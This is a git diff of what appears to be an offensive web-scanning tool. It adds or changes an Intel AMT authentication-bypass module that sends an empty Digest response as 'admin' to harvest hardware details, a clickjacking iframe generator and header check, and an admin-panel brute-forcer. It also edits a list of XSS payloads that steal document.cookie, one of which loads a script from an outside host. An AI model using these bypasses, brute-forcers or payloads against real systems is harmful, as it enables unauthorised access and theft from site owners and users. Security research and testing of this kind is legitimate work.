+5908a81cc9b332348b26a3ccd5ddb798  ./lib/plugins/ihtml.py
+d76d2839ed8875739328bb5f2a838ba6  ./lib/plugins/360.py
+16e4708c510811760129f6fb4842e92e  ./lib/plugins/3dcart.py
+2ce0a2101bb5706a136de83a729965f3  ./lib/plugins/b2evolution.py
+497facc7b12e6e691aab65980d8f5026  ./lib/plugins/bmcremedy.py
+2dcee5bc924732dd21f16983eef9a99d  ./lib/plugins/abyss.py
+d2c100e6e6f7fbda8448d36a6928c979  ./lib/plugins/68classified.py
+f1eb201cce16853049a615805b01bc60  ./lib/plugins/bomgar.py
+ce3b79dc80e369ffd55d2cbe90e6a0ab  ./lib/plugins/mssqlreportmanager.py
+55ec8cde9d438a90327911910164abf2  ./lib/plugins/opengraph.py
+8658f8a185499ec6d10b1d2da6104c27  ./lib/plugins/atomfeed.py
+c2533d4a8dc5fdaa4b8d584588b32ec2  ./lib/plugins/html5.py
+a3ed012f11ff2bffbc143fbef63d0c12  ./lib/plugins/3com.py
+55d834ae87e96787807e21b65ec68bca  ./lib/plugins/moodle.py
+44019a327ec1db91851d652630788742  ./lib/plugins/googleapi.py
+c4ac50a3f3550c62219e7e4f38d4b496  ./lib/plugins/1024.py
+0b63885649f369ea410c8169e947fdab  ./lib/plugins/accellion.py
+76a1d1decfb872bfafdf510c656f113a  ./lib/plugins/rssfeed.py
+320f0db977c85b477ba1ea78b140cb8a  ./lib/plugins/4images.py
+35dc8b7da4becb60662aab3c48a9210b  ./lib/plugins/openxchange.py
+bdb7ff546787d38bbbd0aac9d4a4cdf8  ./lib/attacks/clickjacking_scan/__init__.py
 d41d8cd98f00b204e9800998ecf8427e  ./lib/attacks/__init__.py
-a48dc0484668393bece144e102273e99  ./lib/attacks/sqlmap_scan/__init__.py
+6e9e0a9e2c72e00d8690c0177b695d56  ./lib/attacks/sqlmap_scan/__init__.py
 5e5bb575014ebe613db6bf671d008cf8  ./lib/attacks/sqlmap_scan/sqlmap_opts.py
 d41d8cd98f00b204e9800998ecf8427e  ./lib/attacks/whois_lookup/__init__.py
-f27322b9716e1a2b0b0b0487f3149474  ./lib/attacks/whois_lookup/whois.py
-2782c48ef762413f0e7ce7392786ce2d  ./lib/attacks/admin_panel_finder/__init__.py
-23c1e5e934029f9acc89d2c95e7748e7  ./lib/attacks/xss_scan/__init__.py
-f5e10264d98d8c59b3d5ae86051bbcf2  ./lib/attacks/nmap_scan/__init__.py
+c5b69617f040fef1d5930948905aa8d0  ./lib/attacks/whois_lookup/whois.py
+4fd96bb3002e949687d7ae863ee87264  ./lib/attacks/admin_panel_finder/__init__.py
+2017e69c3420c9e240fccb310f086da7  ./lib/attacks/xss_scan/__init__.py
+40ba04fb18dcbb81cb42376a825c238f  ./lib/attacks/nmap_scan/__init__.py
 216999fa0e84866d5c1d96d5676034e4  ./lib/attacks/nmap_scan/nmap_opts.py
-c5ebb0c56c9ae3b9a72a14e3f05afa16  ./lib/attacks/intel_me/__init__.py
-1faa2b5dfad6eb538bbfe42942d2a9da  ./lib/core/errors.py
+0114ebe3d45612ef143f2777f027374c  ./lib/header_check/__init__.py
+2a8acb2191d80da75f0e4d09c00df9f6  ./lib/core/common.py
+de4254c5e40f7aa4fb81e0608f758a2c  ./lib/core/decorators.py
+3f045c64ef155a517b7a3f3b66905325  ./lib/core/errors.py
 d41d8cd98f00b204e9800998ecf8427e  ./lib/core/__init__.py
-5e744093802861aa8548c29847fd3dbf  ./lib/core/settings.py
-d41d8cd98f00b204e9800998ecf8427e  ./var/google_search/__init__.py
-b8761604c5d4f88ae653526057491a5f  ./var/google_search/search.py
+0faeed8eac30526f3751dd67fe5c9f7e  ./lib/core/settings.py
+27bce5d5d1e7d01788c5273016b19370  ./lib/core/parse.py
 d41d8cd98f00b204e9800998ecf8427e  ./var/__init__.py
 d41d8cd98f00b204e9800998ecf8427e  ./var/auto_issue/__init__.py
-4506850a02aa18e12bef4efeb760ad9e  ./var/auto_issue/github.py
-a83bf6c450035a733fa81a46c16fdd2b  ./var/blackwidow/__init__.py
-3bd1097ac6645f6fbb3a8fa6b07002b3  ./.github/CONTRIBUTING.md
-1d4d81f6661524558d4f9f3d517fa7fc  ./.github/LICENSE.md
-50570f0932047fa6b567c46df374ec90  ./.github/CODE_OF_CONDUCT.md
-3b80f55a0b161769c07292bbec686641  ./.github/ISSUE_TEMPLATE.md
-baae8bbef0dec71131f5fd4e468ef2d8  ./.gitignore
+c58e73857e42a07fa6eb559433b32c1a  ./var/auto_issue/github.py
+503e44b36f0bcd81e20840be5b73320e  ./var/search/__init__.py
+c52867e57beeeeac2da57f597b644faf  ./var/search/selenium_search.py
+12340de27a75273cd444f7257d354311  ./var/search/pgp_search.py
+0af5ab455a535a2f141cfae4758a4bb4  ./var/blackwidow/__init__.py
--- a/etc/deprecated/intel_me/init.py
+++ b/etc/deprecated/intel_me/init.py
@ -0,0 +1,183 @@
+# Intel AMY bypass scanner is being deprecated and will be completely remove by version 1.3
+# the reason for the deprecation is that it serves really no purpose. You will most likely
+# not find a vulnerability from a webpage with this attack assessment.
+# The code will stay but will be moved to a new folder under etc, that will be called
+# deprecated
+# TODO:/ move code into deprecated folder
+
+import json
+import re
+import socket
+
+import requests
+
+import lib.core.settings
+
+from lxml import html
+from var.auto_issue.github import request_issue_creation
+
+
+def __get_auth_headers(target, port, **kwargs):
+    """
+    get the authorization headers from the URL
+    """
+    source = kwargs.get("source", None)
+    proxy, agent, verbose = kwargs.get("proxy", None), kwargs.get("agent", None), kwargs.get("verbose", False)
+    if not source or 'WWW-Authenticate' not in source.headers['WWW-Authenticate']:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "header value not established, attempting to get bypass..."
+        ))
+        source = requests.get("http://{0}:{1}/index.htm".format(target, port), timeout=10, headers={
+            'connection': 'close', 'user-agent': agent
+        }, proxies=proxy)
+        return source
+    # Get digest and nonce and return the new header
+    elif 'WWW-Authenticate' in source.headers:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "header value established successfully, attempting authentication..."
+        ))
+        data = re.compile('Digest realm="Digest:(.*)", nonce="(.*)",stale="false",qop="auth"').search(
+            source.headers['WWW-Authenticate'])
+        digest = data.group(1)
+        nonce = data.group(2)
+        return 'Digest username="admin", ' \
+               'realm="Digest:{0}", nonce="{1}", ' \
+               'uri="/index.htm", response="", qop=auth, ' \
+               'nc=00000001, cnonce="deadbeef"'.format(digest, nonce)
+    else:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "nothing found, will skip URL..."
+        ))
+        return None
+
+
+def __get_raw_data(target, page, port, agent=None, proxy=None, **kwargs):
+    """
+    collect all the information from an exploitable target
+    """
+    verbose = kwargs.get("verbose", False)
+    lib.core.settings.logger.info(lib.core.settings.set_color(
+        "attempting to get raw hardware information..."
+    ))
+    return requests.get("http://{0}:{1}/{2}.htm".format(target, port, page),
+                        headers={
+                            'connection': 'close',
+                            'Authorization': __get_auth_headers(target, port, verbose=verbose),
+                            'user-agent': agent
+                        }, proxies=proxy)
+
+
+def __get_hardware(target, port, agent=None, proxy=None, verbose=False):
+    """
+    collect all the hardware information from an exploitable target
+    """
+    req = __get_raw_data(target, 'hw-sys', port, agent=agent, proxy=proxy, verbose=verbose)
+    if not req.status_code == 200:
+        return None
+    lib.core.settings.logger.info(lib.core.settings.set_color(
+        "connected successfully getting hardware info..."
+    ))
+    tree = html.fromstring(req.content)
+    raw = tree.xpath('//td[@class="r1"]/text()')
+    bios_functions = tree.xpath('//td[@class="r1"]/table//td/text()')
+    # find the hardware information
+    # and output the hardware data
+    # from the raw data found
+    data = {
+        'platform': {
+            'model': raw[0],
+            'manufacturer': raw[1],
+            'version': raw[2],
+            'serial': raw[4],
+            'system_id': raw[5]
+        },
+        'baseboard': {
+            'manufacturer': raw[6],
+            'name': raw[7],
+            'version': raw[8],
+            'serial': raw[9],
+            'tag': raw[10],
+            'replaceable': raw[11]
+        },
+        'bios': {
+            'vendor': raw[12],
+            'version': raw[13],
+            'date': raw[14],
+            'functions': bios_functions
+        }
+    }
+    return json.dumps(data)
+
+
+def main_intel_amt(url, agent=None, proxy=None, **kwargs):
+    """
+    main attack method to be called
+    """
+    do_ip_address = kwargs.get("do_ip", False)
+    verbose = kwargs.get("verbose", False)
+    proxy = lib.core.settings.proxy_string_to_dict(proxy) or None
+    agent = agent or lib.core.settings.DEFAULT_USER_AGENT
+    port_list = (16993, 16992, 693, 692)
+    if do_ip_address:
+        lib.core.settings.logger.warning(lib.core.settings.set_color(
+            "running against IP addresses may result in the targets refusing the connection...", level=30
+        ))
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "will run against IP address instead of hostname..."
+        ))
+        try:
+            url = lib.core.settings.replace_http(url)
+            url = "http://{}".format(socket.gethostbyname(url))
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "discovered IP address {}...".format(url)
+            ))
+        except Exception as e:
+            lib.core.settings.logger.error(lib.core.settings.set_color(
+                "failed to gather IP address from hostname '{}', received an error '{}'. "
+                "will just run against hostname...".format(url, e), level=40
+            ))
+            url = url
+    lib.core.settings.logger.info(lib.core.settings.set_color(
+        "attempting to connect to '{}' and get hardware info...".format(url)
+    ))
+    for port in list(port_list):
+        if verbose:
+            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                "trying on port {}...".format(port), level=10
+            ))
+        try:
+            json_data = __get_hardware(url, port, agent=agent, proxy=proxy, verbose=verbose)
+            if json_data is None:
+                lib.core.settings.logger.error(lib.core.settings.set_color(
+                    "unable to get any information, skipping...", level=40
+                ))
+                pass
+            else:
+                print("-" * 40)
+                for key in json_data.keys():
+                    print("{}:".format(str(key).capitalize()))
+                    for item in json_data[key]:
+                        print(" - {}: {}".format(item.capitalize(), json_data[key][item]))
+                print("-" * 40)
+        except requests.exceptions.ConnectionError as e:
+            if "Max retries exceeded with url" in str(e):
+                lib.core.settings.logger.error(lib.core.settings.set_color(
+                    "failed connection, target machine is actively refusing the connection, skipping...", level=40
+                ))
+                pass
+            else:
+                lib.core.settings.logger.error(lib.core.settings.set_color(
+                    "failed connection with '{}', skipping...", level=40
+                ))
+                pass
+        except Exception as e:
+            if "Temporary failure in name resolution" in str(e):
+                lib.core.settings.logger.error(lib.core.settings.set_color(
+                    "failed to connect on '{}', skipping...".format(url), level=40
+                ))
+                pass
+            else:
+                lib.core.settings.logger.exception(lib.core.settings.set_color(
+                    "ran into exception '{}', cannot continue...".format(e), level=50
+                ))
+                request_issue_creation()
--- a/etc/html/clickjacking_test_page.html
+++ b/etc/html/clickjacking_test_page.html
@ -0,0 +1,5 @@
+<html>
+    <body>
+        <iframe src="{}" style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>
+    </body>
+</html>
--- a/etc/ip_resolvers.txt
+++ b/etc/ip_resolvers.txt
--- a/etc/scripts/install_xvfb.sh
+++ b/etc/scripts/install_xvfb.sh
@ -0,0 +1,4 @@
+#!/usr/bin/env bash
+
+
+sudo apt-get install xvfb --yes > /dev/null 2>&1
--- a/etc/scripts/reinstall.sh
+++ b/etc/scripts/reinstall.sh
@ -0,0 +1,8 @@
+#!/usr/bin/env bash
+
+for pid in $(ps -ef | grep "firefox" | awk '{print $2}'); do kill -9 ${pid}; done > /dev/null 2>&1
+mv ~/.mozilla ~/.mozilla.old > /dev/null 2>&1
+rm /usr/lib/firefox* > /dev/null 2>&1
+sudo apt-get update > /dev/null 2>&1
+sudo apt-get --purge --reinstall --assume-yes install firefox=56.0 > /dev/null 2>&1
+sudo pip2 install selenium -U > /dev/null 2>&1
--- a/etc/sub_names.txt
+++ b/etc/sub_names.txt
--- a/etc/text_files/agents.txt
+++ b/etc/text_files/agents.txt
--- a/etc/text_files/dorks.txt
+++ b/etc/text_files/dorks.txt
--- a/etc/text_files/link_ext.txt
+++ b/etc/text_files/link_ext.txt
--- a/etc/text_files/xss_payloads.txt
+++ b/etc/text_files/xss_payloads.txt
@ -279,9 +279,9 @@ a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
 +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
 %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
 %253cscript%253ealert(document.cookie)%253c/script%253e
-“><s”%2b”cript>alert(document.cookie)</script>
-“><ScRiPt>alert(document.cookie)</script>
-“><<script>alert(document.cookie);//<</script>
+"><s"%2b"cript>alert(document.cookie)</script>
+"><ScRiPt>alert(document.cookie)</script>
+"><<script>alert(document.cookie);//<</script>
 foo<script>alert(document.cookie)</script>
 <scr<script>ipt>alert(document.cookie)</scr</script>ipt>
 %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
--- a/etc/xml/headers.xml
+++ b/etc/xml/headers.xml
@ -0,0 +1,10 @@
+<headers>
+    <header name="X-XSS-Protection"/>
+    <header name="Strict-Transport-Security"/>
+    <header name="X-Frame-Options"/>
+    <header name="X-Content-Type-Options"/>
+    <header name="Content-Security-Policy"/>
+    <header name="Public-Key-Pins"/>
+    <header name="X-Csrf-Token"/>
+    <header name="X-Xsrf-Token"/>
+</headers>
--- a/lib/attacks/admin_panel_finder/init.py
+++ b/lib/attacks/admin_panel_finder/init.py
@ -1,5 +1,5 @@
 import os
-import multiprocessing
+import threading

 try:                 # Python 2
    from urllib.request import urlopen
@ -7,52 +7,95 @@ try:                 # Python 2
 except ImportError:  # Python 3
    from urllib2 import urlopen, HTTPError

-import requests
-
-from var.auto_issue.github import request_issue_creation
-from lib.core.settings import (
-    logger,
-    replace_http,
-    set_color,
-    create_tree,
-    prompt,
-    write_to_log_file,
-    ROBOTS_PAGE_PATH
+from requests.exceptions import (
+    ConnectionError,
+    TooManyRedirects,
+    ReadTimeout
 )

+import lib.core.common
+import lib.core.settings
+from var.auto_issue.github import request_issue_creation

-def check_for_robots(url, ext="/robots.txt", data_sep="-" * 30):
+
+def check_for_externals(url, data_sep="-" * 30, **kwargs):
    """
    check if the URL has a robots.txt in it and collect `interesting` information
    out of the page
    """
-    url = replace_http(url)
-    interesting = set()
-    full_url = "{}{}{}".format("http://", url, ext)
-    conn = requests.get(full_url)
-    data = conn.content
-    code = conn.status_code
-    if code == 404:
+    robots = kwargs.get("robots", False)
+    sitemap = kwargs.get("sitemap", False)
+    verbose = kwargs.get("verbose", False)
+    batch = kwargs.get("batch", False)
+
+    ext = {
+        robots: "/robots.txt",
+        sitemap: "/sitemap.xml"
+    }
+    currently_searching = ext[robots if robots else sitemap]
+    if verbose:
+        lib.core.settings.logger.debug(lib.core.settings.set_color(
+            "currently searching for a '{}'".format(currently_searching), level=10
+        ))
+
+    try:
+        url = lib.core.settings.replace_http(url)
+        full_url = "{}{}{}".format("http://", url, currently_searching)
+        _, code, data, _ = lib.core.common.get_page(full_url)
+    except (TooManyRedirects, ConnectionError, ReadTimeout):
+        lib.core.settings.logger.error(lib.core.settings.set_color(
+            "connection to '{}' failed, assuming does not exist and continuing".format(full_url), level=40
+        ))
        return False
-    for line in data.split("\n"):
-        if "Allow" in line:
-            interesting.add(line.strip())
-    if len(interesting) > 0:
-        create_tree(full_url, list(interesting))
-    else:
-        to_display = prompt(
-            "nothing interesting found in robots.txt would you like to display the entire page", opts="yN"
-        )
-        if to_display.lower().startswith("y"):
-            print(
-                "{}\n{}\n{}".format(
-                    data_sep, data, data_sep
+
+    if code == 404:
+        lib.core.settings.logger.error(lib.core.settings.set_color(
+            "unable to connect to '{}', assuming does not exist and continuing".format(
+                full_url
+            ), level=40
+        ))
+        return False
+    if robots:
+        interesting = set()
+        for line in data.split("\n"):
+            if "Allow" in line:
+                interesting.add(line.strip())
+        if len(interesting) > 0:
+            lib.core.settings.create_tree(full_url, list(interesting))
+        else:
+            question_msg = "nothing interesting found in robots.txt would you like to display the entire page"
+            if not batch:
+                to_display = lib.core.common.prompt(
+                    question_msg, opts="yN"
                )
+            else:
+                to_display = lib.core.common.prompt(
+                    question_msg, opts="yN", default="n"
+                )
+
+            if to_display.lower().startswith("y"):
+                print(
+                    "{}\n{}\n{}".format(
+                        data_sep, data, data_sep
+                    )
+                )
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "robots.txt page will be saved into a file", level=25
+        ))
+        return lib.core.common.write_to_log_file(
+            data, lib.core.settings.ROBOTS_PAGE_PATH, lib.core.settings.ROBOTS_TXT_FILENAME.format(
+                lib.core.settings.replace_http(url)
            )
-    logger.info(set_color(
-        "robots.txt page will be saved into a file..."
-    ))
-    write_to_log_file(data, ROBOTS_PAGE_PATH, "robots-{}.log".format(url))
+        )
+    elif sitemap:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "found a sitemap, saving to file", level=25
+        ))
+        return lib.core.common.write_to_log_file(
+            data, lib.core.settings.SITEMAP_FILE_LOG_PATH, lib.core.settings.SITEMAP_FILENAME.format(
+                lib.core.settings.replace_http(url)
+            )
+        )


 def check_for_admin_page(url, exts, protocol="http://", **kwargs):
@ -62,81 +105,98 @@ def check_for_admin_page(url, exts, protocol="http://", **kwargs):
    verbose = kwargs.get("verbose", False)
    show_possibles = kwargs.get("show_possibles", False)
    possible_connections, connections = set(), set()
-    stripped_url = replace_http(str(url).strip())
+    stripped_url = lib.core.settings.replace_http(str(url).strip())
    for ext in exts:
+        # each extension is loaded before this process begins to save time
+        # while running this process.
+        # it will be loaded and passed instead of loaded during.
        ext = ext.strip()
        true_url = "{}{}{}".format(protocol, stripped_url, ext)
        if verbose:
-            logger.debug(set_color(
-                "trying '{}'...".format(true_url), level=10
+            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                "trying '{}'".format(true_url), level=10
            ))
        try:
            urlopen(true_url, timeout=5)
-            logger.info(set_color(
-                "connected successfully to '{}'...".format(true_url)
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "connected successfully to '{}'".format(true_url), level=25
            ))
            connections.add(true_url)
        except HTTPError as e:
            data = str(e).split(" ")
            if verbose:
                if "Access Denied" in str(e):
-                    logger.warning(set_color(
-                        "got access denied, possible control panel found without external access on '{}'...".format(
+                    lib.core.settings.logger.warning(lib.core.settings.set_color(
+                        "got access denied, possible control panel found without external access on '{}'".format(
                            true_url
                        ),
                        level=30
                    ))
                    possible_connections.add(true_url)
                else:
-                    logger.error(set_color(
-                        "failed to connect got error code {}...".format(
-                            data[2]
-                        ), level=40
-                    ))
+                    for error_code in lib.core.common.STATUS_CODES.iterkeys():
+                        if int(data[2].split(":")[0]) == error_code:
+                            lib.core.settings.logger.error(lib.core.settings.set_color(
+                                "failed to connect got error code {} (reason: {})".format(
+                                     data[2], lib.core.common.STATUS_CODES[error_code]
+                                ), level=40
+                             ))
        except Exception as e:
            if verbose:
                if "<urlopen error timed out>" or "timeout: timed out" in str(e):
-                    logger.warning(set_color(
-                        "connection timed out after five seconds "
-                        "assuming won't connect and skipping...", level=30
+                    lib.core.settings.logger.warning(lib.core.settings.set_color(
+                        "connection timed out assuming won't connect and skipping", level=30
                    ))
                else:
-                    logger.exception(set_color(
-                        "failed to connect with unexpected error '{}'...".format(str(e)), level=50
+                    lib.core.settings.logger.exception(lib.core.settings.set_color(
+                        "failed to connect with unexpected error '{}'".format(str(e)), level=50
                    ))
                    request_issue_creation()
    possible_connections, connections = list(possible_connections), list(connections)
-    data_msg = "found {} possible connections(s) and {} successful connection(s)..."
-    logger.info(set_color(
+    data_msg = "found {} possible connections(s) and {} successful connection(s)"
+    lib.core.settings.logger.info(lib.core.settings.set_color(
        data_msg.format(len(possible_connections), len(connections))
    ))
-    if len(connections) != 0:
-        logger.info(set_color(
-            "creating connection tree..."
+    if len(connections) > 0:
+        # create the connection tree if we got some connections
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "creating connection tree"
        ))
-        create_tree(url, connections)
+        lib.core.settings.create_tree(url, connections)
    else:
-        logger.fatal(set_color(
+        lib.core.settings.logger.fatal(lib.core.settings.set_color(
            "did not receive any successful connections to the admin page of "
-            "{}...".format(url), level=50
+            "{}".format(url), level=50
        ))
    if show_possibles:
-        if len(possible_connections) != 0:
-            logger.info(set_color(
-                "creating possible connection tree..."
+        if len(possible_connections) > 0:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "creating possible connection tree"
            ))
-            create_tree(url, possible_connections)
+            lib.core.settings.create_tree(url, possible_connections)
        else:
-            logger.fatal(set_color(
+            lib.core.settings.logger.fatal(lib.core.settings.set_color(
                "did not find any possible connections to {}'s "
-                "admin page", level=50
+                "admin page".format(url), level=50
            ))
+    if len(connections) > 0:
+        lib.core.settings.logger.warning(lib.core.settings.set_color(
+            "only writing successful connections to log file", level=30
+        ))
+        lib.core.common.write_to_log_file(
+            list(connections),
+            lib.core.settings.ADMIN_PAGE_FILE_PATH,
+            lib.core.settings.ADMIN_PAGE_FILENAME.format(
+                lib.core.settings.replace_http(url)
+            )
+        )


-def __load_extensions(filename="{}/etc/link_ext.txt"):
+def __load_extensions(filename="{}/etc/text_files/link_ext.txt"):
    """
    load the extensions to use from the etc/link_ext file
    """
+    # this is where the extensions are loaded from
    with open(filename.format(os.getcwd())) as ext:
        return ext.readlines()

@ -146,40 +206,51 @@ def main(url, show=False, verbose=False, **kwargs):
    main method to be called
    """
    do_threading = kwargs.get("do_threading", False)
-    proc_num = kwargs.get("proc_num", 3)
-    logger.info(set_color(
-        "parsing robots.txt..."
-    ))
-    results = check_for_robots(url)
-    if not results:
-        logger.warning(set_color(
-            "seems like this page is blocking access to robots.txt...", level=30
+    proc_num = kwargs.get("proc_num", 5)
+    batch = kwargs.get("batch", False)
+
+    try:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "parsing robots.txt"
        ))
-    logger.info(set_color(
-        "loading extensions..."
-    ))
-    extensions = __load_extensions()
-    if verbose:
-        logger.debug(set_color(
-            "loaded a total of {} extensions...".format(len(extensions)), level=10
+        results = check_for_externals(url, robots=True, batch=batch)
+        if not results:
+            lib.core.settings.logger.warning(lib.core.settings.set_color(
+                "seems like this page is either blocking access to robots.txt or it does not exist", level=30
+            ))
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "checking for a sitemap"
        ))
-    logger.info(set_color(
-        "attempting to bruteforce admin panel..."
-    ))
-    if do_threading:
-        logger.warning(set_color(
-            "starting parallel processing with {} processes, this "
-            "will depend on your GPU speed...".format(proc_num), level=30
+        check_for_externals(url, sitemap=True)
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "loading extensions"
        ))
-        tasks = []
-        for _ in range(0, proc_num):
-            p = multiprocessing.Process(target=check_for_admin_page, args=(url, extensions), kwargs={
-                "show_possibles": show,
-                "verbose": verbose
-            })
-            p.start()
-            tasks.append(p)
-        for proc in tasks:
-            proc.join()
-    else:
-        check_for_admin_page(url, extensions, show_possibles=show, verbose=verbose)
+        extensions = __load_extensions()
+        if verbose:
+            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                "loaded a total of {} extensions".format(len(extensions)), level=10
+            ))
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "attempting to bruteforce admin panel"
+        ))
+        if do_threading:
+            lib.core.settings.logger.warning(lib.core.settings.set_color(
+                "starting {} threads, you will not be able to end the process until "
+                "it is completed".format(proc_num), level=30
+            ))
+            tasks = []
+            for _ in range(0, proc_num):
+                t = threading.Thread(target=check_for_admin_page, args=(url, extensions), kwargs={
+                    "verbose": verbose,
+                    "show_possibles": show
+                })
+                t.daemon = True
+                tasks.append(t)
+            for thread in tasks:
+                thread.start()
+                thread.join()
+        else:
+            check_for_admin_page(url, extensions, show_possibles=show, verbose=verbose)
+    except KeyboardInterrupt:
+        if not lib.core.common.pause():
+            lib.core.common.shutdown()
--- a/lib/attacks/clickjacking_scan/init.py
+++ b/lib/attacks/clickjacking_scan/init.py
@ -0,0 +1,114 @@
+import lib.core.common
+import lib.core.settings
+import var.auto_issue.github
+
+
+class ClickJackingScanner(object):
+
+    def __init__(self, url):
+        self.url = url
+        self.safe = lib.core.common.HTTP_HEADER.X_FRAME_OPT
+        self.html = open(lib.core.settings.CLICKJACKING_TEST_PAGE_PATH).read()
+
+    def generate_html(self):
+        """
+        generate the HTML page for the clickjacking, it's up to you
+        to put it into play
+        """
+        return self.html.format(self.url)
+
+    def extract_and_test_headers(self, **kwargs):
+        """
+        extract the headers from the url given to test if they contain the correct protection
+        against clickjacking
+        """
+        proxy = kwargs.get("proxy", None)
+        agent = kwargs.get("agent", None)
+        forward = kwargs.get("forward", None)
+        if forward is not None:
+            ip_addrs = lib.core.settings.create_random_ip()
+            headers = {
+                lib.core.common.HTTP_HEADER.USER_AGENT: agent,
+                lib.core.common.HTTP_HEADER.X_FORWARDED_FOR: "{}, {}, {}".format(
+                    ip_addrs[0], ip_addrs[1], ip_addrs[2]
+                ),
+                lib.core.common.HTTP_HEADER.CONNECTION: "close"
+            }
+        else:
+            headers = {
+                lib.core.common.HTTP_HEADER.USER_AGENT: agent,
+                lib.core.common.HTTP_HEADER.CONNECTION: "close"
+            }
+        req, _, _, headers = lib.core.common.get_page(self.url, headers=headers, proxy=proxy)
+        headers = req.headers
+        if self.safe in headers:
+            return False
+        return True
+
+
+def clickjacking_main(url, **kwargs):
+    """
+    main function for the clickjacking scan
+    """
+    agent = kwargs.get("agent", None)
+    proxy = kwargs.get("proxy", None)
+    forward = kwargs.get("forward", None)
+    verbose = kwargs.get("verbose", False)
+    batch = kwargs.get("batch", False)
+
+    if not batch:
+        if lib.core.settings.URL_QUERY_REGEX.match(url):
+            question = lib.core.common.prompt(
+                "it is recommended to use a URL without a GET(query) parameter, "
+                "heuristic testing has detected that the URL provided contains a "
+                "GET(query) parameter in it, would you like to continue", opts="yN"
+            )
+            if question.lower().startswith("n"):
+                lib.core.settings.logger.info(lib.core.settings.set_color(
+                    "automatically removing all queries from URL"
+                ))
+                url = "http://{}".format(lib.core.settings.replace_http(url, complete=True))
+
+    scanner = ClickJackingScanner(url)
+
+    if verbose:
+        lib.core.settings.logger.debug(lib.core.settings.set_color(
+            "generating HTML", level=10
+        ))
+
+    data = scanner.generate_html()
+
+    if verbose:
+        lib.core.settings.logger.debug(lib.core.settings.set_color(
+            "HTML generated successfully", level=10
+        ))
+        print("{}\n{}\n{}".format("-" * 30, data, "-" * 30))
+
+    try:
+        results = scanner.extract_and_test_headers(agent=agent, proxy=proxy, forward=forward)
+
+        if results:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "it appears that provided URL '{}' is vulnerable to clickjacking, writing "
+                "to HTML file".format(url), level=25
+            ))
+            lib.core.common.write_to_log_file(
+                data,
+                lib.core.settings.CLICKJACKING_RESULTS_PATH,
+                lib.core.settings.CLICKJACKING_FILENAME.format(lib.core.settings.replace_http(url))
+            )
+        else:
+            lib.core.settings.logger.error(lib.core.settings.set_color(
+                "provided URL '{}' seems to have the correct protection from clickjacking".format(
+                    url
+                ), level=40
+            ))
+    except KeyboardInterrupt:
+        if not lib.core.common.pause():
+            lib.core.common.shutdown()
+    except Exception as e:  # until I figure out the errors, we'll just make issues about them
+        lib.core.settings.logger.exception(lib.core.settings.set_color(
+            "Zeus failed to process the clickjacking test and received "
+            "error code '{}'".format(e), level=50
+        ))
+        var.auto_issue.github.request_issue_creation()
--- a/lib/attacks/intel_me/init.py
+++ b/lib/attacks/intel_me/init.py
@ -1,169 +0,0 @@
-import json
-import socket
-import re
-
-import requests
-from lxml import html
-
-from lib.core.settings import (
-    proxy_string_to_dict,
-    logger, set_color,
-    DEFAULT_USER_AGENT,
-    replace_http
-)
-from var.auto_issue.github import request_issue_creation
-
-
-def __get_auth_headers(target, port=16992, source=None, agent=None, proxy=None):
-    """
-    get the authorization headers from the URL
-    """
-    if not source or 'WWW-Authenticate' not in source.headers['WWW-Authenticate']:
-        logger.info(set_color(
-            "header value not established, attempting to get bypass..."
-        ))
-        source = requests.get("http://{0}:{1}/index.htm".format(target, port), timeout=10, headers={
-            'connection': 'close', 'user-agent': agent
-        }, proxies=proxy)
-        return source
-    # Get digest and nonce and return the new header
-    if 'WWW-Authenticate' in source.headers:
-        logger.info(set_color(
-            "header value established successfully, attempting authentication..."
-        ))
-        data = re.compile('Digest realm="Digest:(.*)", nonce="(.*)",stale="false",qop="auth"').search(
-            source.headers['WWW-Authenticate'])
-        digest = data.group(1)
-        nonce = data.group(2)
-        return 'Digest username="admin", ' \
-               'realm="Digest:{0}", nonce="{1}", ' \
-               'uri="/index.htm", response="", qop=auth, ' \
-               'nc=00000001, cnonce="deadbeef"'.format(digest, nonce)
-    else:
-        logger.info(set_color(
-            "nothing found, will skip URL..."
-        ))
-        return None
-
-
-def __get_raw_data(target, page, agent=None, proxy=None):
-    """
-    collect all the information from an exploitable target
-    """
-    logger.info(set_color(
-        "getting raw information..."
-    ))
-    return requests.get("http://{0}:16992/{1}.htm".format(target, page),
-                        headers={
-                            'connection': 'close',
-                            'Authorization': __get_auth_headers(target),
-                            'user-agent': agent
-                        },
-                        proxies=proxy
-                        )
-
-
-def __get_hardware(target, agent=None, proxy=None):
-    """
-    collect all the hardware information from an exploitable target
-    """
-    req = __get_raw_data(target, 'hw-sys', agent=agent, proxy=proxy)
-    if not req.status_code == 200:
-        return None
-    logger.info(set_color(
-        "connected successfully getting hardware info..."
-    ))
-    tree = html.fromstring(req.content)
-    raw = tree.xpath('//td[@class="r1"]/text()')
-    bios_functions = tree.xpath('//td[@class="r1"]/table//td/text()')
-    data = {
-        'platform': {
-            'model': raw[0],
-            'manufacturer': raw[1],
-            'version': raw[2],
-            'serial': raw[4],
-            'system_id': raw[5]
-        },
-        'baseboard': {
